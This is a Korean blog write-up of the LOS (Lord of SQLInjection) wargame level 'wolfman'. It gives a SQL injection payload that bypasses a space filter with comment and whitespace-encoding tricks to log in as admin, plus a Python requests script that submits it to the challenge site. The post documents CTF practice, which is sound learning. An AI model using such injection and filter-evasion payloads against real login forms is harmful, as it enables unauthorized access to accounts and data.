문제
문제 분석
pw에 "prob" , "_" , "."," "(공백(화이트 스페이스))를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.
이때 공백이 필터링 되어있어 이를 우회하는게 핵심이다.
문제 풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다
where id='guest' and pw='' or id='admin'
=> or로 주황색 조건을 전부 false로 만들어 뒤에 id가 admin인 조건만을 남겨둔다.
이때 공백을 쓰면 안되므로 공백우회가 필요하다.
%20(화이트 스페이스) -> %0a , %0b , %0c , %0d , %09 , /**/
문제 정답
URL?pw='or/**/id='admin'/**/#
url을 조작할시 #은 %23으로 입력해줘야한다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
data['pw']="'or/**/id='admin'/**/#"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 7(orge) (0) | 2021.01.03 |
---|---|
LOS 6(darkelf) (0) | 2021.01.03 |
LOS 4(orc) (0) | 2021.01.03 |
LOS 3(goblin) (0) | 2021.01.03 |
LOS 2 (cobolt) (0) | 2021.01.03 |